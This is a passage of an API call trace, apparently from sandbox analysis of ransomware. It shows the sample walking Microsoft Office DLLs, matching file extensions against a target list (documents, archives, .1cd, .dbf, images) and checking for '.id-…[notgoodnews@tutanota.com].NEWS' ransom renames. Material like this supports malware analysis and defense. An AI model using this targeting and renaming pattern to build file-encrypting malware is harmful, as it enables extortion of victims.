Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll") returned 89 [0174.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll") returned 89 [0174.346] lstrlenW (lpString=".doc") returned 4 [0174.346] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0174.346] lstrlenW (lpString=".docx") returned 5 [0174.347] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0174.347] lstrlenW (lpString=".pdf") returned 4 [0174.347] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0174.347] lstrlenW (lpString=".xls") returned 4 [0174.347] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0174.347] lstrlenW (lpString=".xlsx") returned 5 [0174.347] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0174.347] lstrlenW (lpString=".ppt") returned 4 [0174.347] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0174.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll") returned 89 [0174.347] lstrlenW (lpString=".zip") returned 4 [0174.347] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0174.347] lstrlenW (lpString=".rar") returned 4 [0174.347] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0174.347] lstrlenW (lpString=".bz2") returned 4 [0174.347] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0174.347] lstrlenW (lpString=".7z") returned 3 [0174.347] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0174.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll") returned 89 [0174.347] lstrlenW (lpString=".dbf") returned 4 [0174.347] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0174.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll") returned 89 [0174.347] lstrlenW (lpString=".1cd") returned 4 [0174.347] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0174.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll") returned 89 [0174.347] lstrlenW (lpString=".jpg") returned 4 [0174.347] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0174.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll") returned 89 [0174.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll") returned 89 [0174.347] lstrlenW (lpString=".doc") returned 4 [0174.347] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0174.348] lstrlenW (lpString=".docx") returned 5 [0174.348] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0174.348] lstrlenW (lpString=".pdf") returned 4 [0174.348] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0174.348] lstrlenW (lpString=".xls") returned 4 [0174.348] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0174.348] lstrlenW (lpString=".xlsx") returned 5 [0174.348] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0174.348] lstrlenW (lpString=".ppt") returned 4 [0174.348] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0174.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll") returned 89 [0174.348] lstrlenW (lpString=".zip") returned 4 [0174.348] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0174.348] lstrlenW (lpString=".rar") returned 4 [0174.348] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0174.348] lstrlenW (lpString=".bz2") returned 4 [0174.348] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0174.348] lstrlenW (lpString=".7z") returned 3 [0174.348] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0174.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll") returned 89 [0174.348] lstrlenW (lpString=".dbf") returned 4 [0174.348] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0174.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll") returned 89 [0174.348] lstrlenW (lpString=".1cd") returned 4 [0174.348] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0174.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll") returned 89 [0174.348] lstrlenW (lpString=".jpg") returned 4 [0174.348] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0174.348] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0174.348] lstrlenW (lpString="Microsoft.Tools.BinaryStore.dll") returned 31 [0174.349] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.binarystore.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0174.350] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=73312) returned 1 [0174.350] CloseHandle (hObject=0x450) returned 1 [0174.350] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.binarystore.dll")) returned 0x220 [0174.350] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.binarystore.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0174.350] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.binarystore.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll") returned 80 [0174.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll") returned 80 [0174.351] lstrlenW (lpString=".doc") returned 4 [0174.351] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0174.351] lstrlenW (lpString=".docx") returned 5 [0174.351] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0174.351] lstrlenW (lpString=".pdf") returned 4 [0174.351] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0174.351] lstrlenW (lpString=".xls") returned 4 [0174.351] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0174.351] lstrlenW (lpString=".xlsx") returned 5 [0174.351] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0174.351] lstrlenW (lpString=".ppt") returned 4 [0174.351] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0174.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll") returned 80 [0174.351] lstrlenW (lpString=".zip") returned 4 [0174.351] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0174.351] lstrlenW (lpString=".rar") returned 4 [0174.351] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0174.351] lstrlenW (lpString=".bz2") returned 4 [0174.351] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0174.351] lstrlenW (lpString=".7z") returned 3 [0174.351] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0174.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll") returned 80 [0174.351] lstrlenW (lpString=".dbf") returned 4 [0174.351] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0174.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll") returned 80 [0174.351] lstrlenW (lpString=".1cd") returned 4 [0174.351] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0174.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll") returned 80 [0174.351] lstrlenW (lpString=".jpg") returned 4 [0174.351] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0174.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll") returned 80 [0174.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll") returned 80 [0174.352] lstrlenW (lpString=".doc") returned 4 [0174.352] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0174.352] lstrlenW (lpString=".docx") returned 5 [0174.352] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0174.352] lstrlenW (lpString=".pdf") returned 4 [0174.352] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0174.352] lstrlenW (lpString=".xls") returned 4 [0174.352] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0174.352] lstrlenW (lpString=".xlsx") returned 5 [0174.352] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0174.352] lstrlenW (lpString=".ppt") returned 4 [0174.352] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0174.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll") returned 80 [0174.352] lstrlenW (lpString=".zip") returned 4 [0174.352] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0174.352] lstrlenW (lpString=".rar") returned 4 [0174.352] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0174.352] lstrlenW (lpString=".bz2") returned 4 [0174.352] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0174.352] lstrlenW (lpString=".7z") returned 3 [0174.352] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0174.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll") returned 80 [0174.352] lstrlenW (lpString=".dbf") returned 4 [0174.352] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0174.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll") returned 80 [0174.352] lstrlenW (lpString=".1cd") returned 4 [0174.352] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0174.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll") returned 80 [0174.352] lstrlenW (lpString=".jpg") returned 4 [0174.352] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0174.353] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0174.353] lstrlenW (lpString="Microsoft.Tools.Office.C2R.Common.dll") returned 37 [0174.353] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.office.c2r.common.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0174.355] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=31328) returned 1 [0174.355] CloseHandle (hObject=0x450) returned 1 [0174.355] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.office.c2r.common.dll")) returned 0x220 [0174.355] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.office.c2r.common.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0174.356] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.office.c2r.common.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll") returned 86 [0174.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll") returned 86 [0174.356] lstrlenW (lpString=".doc") returned 4 [0174.356] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0174.356] lstrlenW (lpString=".docx") returned 5 [0174.356] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0174.356] lstrlenW (lpString=".pdf") returned 4 [0174.356] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0174.356] lstrlenW (lpString=".xls") returned 4 [0174.356] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0174.356] lstrlenW (lpString=".xlsx") returned 5 [0174.356] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0174.356] lstrlenW (lpString=".ppt") returned 4 [0174.356] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0174.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll") returned 86 [0174.356] lstrlenW (lpString=".zip") returned 4 [0174.356] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0174.356] lstrlenW (lpString=".rar") returned 4 [0174.356] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0174.356] lstrlenW (lpString=".bz2") returned 4 [0174.356] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0174.356] lstrlenW (lpString=".7z") returned 3 [0174.356] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0174.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll") returned 86 [0174.356] lstrlenW (lpString=".dbf") returned 4 [0174.356] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0174.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll") returned 86 [0174.357] lstrlenW (lpString=".1cd") returned 4 [0174.357] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0174.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll") returned 86 [0174.357] lstrlenW (lpString=".jpg") returned 4 [0174.357] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0174.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll") returned 86 [0174.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll") returned 86 [0174.357] lstrlenW (lpString=".doc") returned 4 [0174.357] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0174.357] lstrlenW (lpString=".docx") returned 5 [0174.357] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0174.357] lstrlenW (lpString=".pdf") returned 4 [0174.357] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0174.357] lstrlenW (lpString=".xls") returned 4 [0174.357] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0174.357] lstrlenW (lpString=".xlsx") returned 5 [0174.357] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0174.357] lstrlenW (lpString=".ppt") returned 4 [0174.357] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0174.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll") returned 86 [0174.357] lstrlenW (lpString=".zip") returned 4 [0174.357] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0174.357] lstrlenW (lpString=".rar") returned 4 [0174.357] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0174.357] lstrlenW (lpString=".bz2") returned 4 [0174.357] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0174.357] lstrlenW (lpString=".7z") returned 3 [0174.357] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0174.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll") returned 86 [0174.357] lstrlenW (lpString=".dbf") returned 4 [0174.357] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0174.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll") returned 86 [0174.357] lstrlenW (lpString=".1cd") returned 4 [0174.358] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0174.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll") returned 86 [0174.358] lstrlenW (lpString=".jpg") returned 4 [0174.358] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0174.358] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0174.358] lstrlenW (lpString="Microsoft.Tools.Office.C2R.Packager.dll") returned 39 [0174.358] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.office.c2r.packager.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0174.358] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=132800) returned 1 [0174.358] CloseHandle (hObject=0x450) returned 1 [0174.359] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.office.c2r.packager.dll")) returned 0x220 [0174.359] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.office.c2r.packager.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0174.359] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.office.c2r.packager.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll") returned 88 [0174.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll") returned 88 [0174.359] lstrlenW (lpString=".doc") returned 4 [0174.359] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0174.359] lstrlenW (lpString=".docx") returned 5 [0174.359] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0174.359] lstrlenW (lpString=".pdf") returned 4 [0174.359] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0174.359] lstrlenW (lpString=".xls") returned 4 [0174.359] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0174.359] lstrlenW (lpString=".xlsx") returned 5 [0174.359] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0174.359] lstrlenW (lpString=".ppt") returned 4 [0174.359] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0174.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll") returned 88 [0174.359] lstrlenW (lpString=".zip") returned 4 [0174.359] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0174.359] lstrlenW (lpString=".rar") returned 4 [0174.359] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0174.359] lstrlenW (lpString=".bz2") returned 4 [0174.359] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0174.360] lstrlenW (lpString=".7z") returned 3 [0174.360] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0174.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll") returned 88 [0174.360] lstrlenW (lpString=".dbf") returned 4 [0174.360] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0174.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll") returned 88 [0174.360] lstrlenW (lpString=".1cd") returned 4 [0174.360] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0174.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll") returned 88 [0174.360] lstrlenW (lpString=".jpg") returned 4 [0174.360] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0174.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll") returned 88 [0174.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll") returned 88 [0174.360] lstrlenW (lpString=".doc") returned 4 [0174.360] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0174.360] lstrlenW (lpString=".docx") returned 5 [0174.360] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0174.360] lstrlenW (lpString=".pdf") returned 4 [0174.360] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0174.360] lstrlenW (lpString=".xls") returned 4 [0174.360] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0174.360] lstrlenW (lpString=".xlsx") returned 5 [0174.360] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0174.360] lstrlenW (lpString=".ppt") returned 4 [0174.360] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0174.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll") returned 88 [0174.360] lstrlenW (lpString=".zip") returned 4 [0174.360] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0174.360] lstrlenW (lpString=".rar") returned 4 [0174.360] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0174.360] lstrlenW (lpString=".bz2") returned 4 [0174.360] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0174.360] lstrlenW (lpString=".7z") returned 3 [0174.360] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0174.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll") returned 88 [0174.361] lstrlenW (lpString=".dbf") returned 4 [0174.361] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0174.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll") returned 88 [0174.361] lstrlenW (lpString=".1cd") returned 4 [0174.361] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0174.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll") returned 88 [0174.361] lstrlenW (lpString=".jpg") returned 4 [0174.361] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0174.361] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0174.361] lstrlenW (lpString="msvcp120.dll") returned 12 [0174.361] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\msvcp120.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0174.361] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=455344) returned 1 [0174.362] CloseHandle (hObject=0x450) returned 1 [0174.362] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\msvcp120.dll")) returned 0x220 [0174.362] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\msvcp120.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0174.362] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\msvcp120.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll") returned 61 [0174.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll") returned 61 [0174.362] lstrlenW (lpString=".doc") returned 4 [0174.362] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0174.362] lstrlenW (lpString=".docx") returned 5 [0174.362] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0174.362] lstrlenW (lpString=".pdf") returned 4 [0174.362] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0174.362] lstrlenW (lpString=".xls") returned 4 [0174.362] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0174.362] lstrlenW (lpString=".xlsx") returned 5 [0174.362] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0174.362] lstrlenW (lpString=".ppt") returned 4 [0174.362] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0174.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll") returned 61 [0174.362] lstrlenW (lpString=".zip") returned 4 [0174.362] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0174.362] lstrlenW (lpString=".rar") returned 4 [0174.362] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0174.363] lstrlenW (lpString=".bz2") returned 4 [0174.363] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0174.363] lstrlenW (lpString=".7z") returned 3 [0174.363] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0174.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll") returned 61 [0174.363] lstrlenW (lpString=".dbf") returned 4 [0174.363] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0174.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll") returned 61 [0174.363] lstrlenW (lpString=".1cd") returned 4 [0174.363] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0174.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll") returned 61 [0174.363] lstrlenW (lpString=".jpg") returned 4 [0174.363] lstrcmpiW 